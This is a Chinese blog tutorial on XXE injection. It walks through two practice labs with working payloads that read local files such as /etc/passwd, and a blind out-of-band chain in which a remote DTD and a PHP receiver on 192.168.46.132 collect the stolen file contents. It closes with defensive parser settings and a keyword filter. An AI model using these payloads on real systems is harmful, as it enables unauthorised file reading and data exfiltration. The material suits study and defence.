XXE漏洞
发表于更新于
阅读量: 北京
WEBXXE漏洞
xxshh原理
XXE (XML External Entity Injection),即 XML 外部实体注入漏洞。XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取 ( php 原生态代码)、命令执行(如Java中一些第三方库导致)、内网扫描、攻击内网等危害。
XML 文档的作用是传输和存储数据,其焦点是数据的内容,把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。等同于 JSON 传输。
XML文档结构:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
|
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件(.dtd)中(外部引用)。
DTD实体有以下几种声明方式:
<!DOCTYPE note [ <!ENTITY a "admin"> ]> <note>&a</note>
|
<!DOCTYPE note> [ <!ENTITY % b "<!ENTITY b1 "awsl">"> %b; ]> <note>&b1</note>
|
[!NOTE]
- 参数实体用
% name
申明,引用时用%name;
,只能在DTD中申明,DTD中引用。
- 其余实体直接用
name
申明,引用时用&name;
,只能在DTD中申明,可在xml文档中引用
外部引用可支持http,file等协议。
<!DOCTYPE note> [ <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <note>&c</note>
|
<!DOCTYPE note> [ <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd"> %d; ]> <note>&d1</note>
|
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
|
实例演示
实例一
靶场:https://github.com/c0ny1/xxe-lab
登录抓包。发现数据类型是xml,测试有无XXE漏洞。
此时要利用XXE漏洞执行文件读取操作,分两种情况,分别是有回显和无回显。
有回显
恶意引入外部实体:
<?xml version="1.0"?> <!DOCTYPE xxshh [ <!ENTITY test SYSTEM "file:///c:/1.txt"> ]> <user><username>&test;</username><password>123</password></user>
|
成功读取1.txt。
这里尝试了很久一直报错,更改了php版本,修改了php.ini,均失败。最后发现是新建文本文件的时候将文件命名为1.txt,导致最终文件名是1.txt.txt。
无回显
- 带外查询判断是否有XXE漏洞。
(1) DNSLog
payload:
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://bqtwb9.dnslog.cn"> %file; ]> <user><username>&send;</username><password>123</password></user>
|
有解析记录证明存在XXE漏洞:
(2)反向连接
- 引用外部参数实体
payload:
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///c:/1.txt"> <!ENTITY % remote SYSTEM "http://192.168.46.132/test.dtd"> %remote; %all; ]> <root>&send;</root>
|
远程服务器上放两个文件:
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.46.132/get.php?file=%file;'>">
|
get.http(接收file参数,并将读到的内容写入file.txt):
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
|
发送请求之后,远程服务器上出现file.txt,利用成功XEE漏洞读取文件。
这里发现1.txt有空格的话就无法成功,原因是接收file参数的时候不能有空格,这种情况可以结合php://filter伪协议使用,然后解码。
分析以上流程:
- payload定义了一个 外部实体 (
file
),指向本地文件系统路径 c://1.txt
.
- 同时又定义了一个 外部实体 (
remote
),指向远程 URL http://192.168.46.132/test.dtd
。
- 触发了
remote
实体的解析,导致远程加载 test.dtd
的内容。
&send;
引用了 test.dtd
文件中定义的一个实体。
test.dtd
定义了一个外部实体 send
,它的值是上述远程 URL,这个 URL 包含参数 file=%file;
,其中 %file;
是在原始 DTD
中定义的本地文件路径。URL变为:
http://192.168.46.132/get.php?file=file:
|
- 当外部实体
send
被解析时,解析器会尝试访问该 URL,并将c:/1.txt
的内容发送给攻击者的服务器,写入file.txt。
实例二
靶场:http://web.jarvisoj.com:9882/
抓包发现数据类型是json:
尝试更改数据格式:
Content-Type: application/xml
|
引入外部实体尝试读取 etc/passwd:
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
|
成功读取:
[!NOTE] 总结
- 当发现Content-Type 为 xml 时,就应想到 XXE 注入。
- 不管Content-Type是什么,均可尝试修改后测试 XXE。
XXE防御
- 禁用外部实体
PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python: from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|
- 过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE和<!ENTITY,**或者SYSTEM和PUBLIC**
|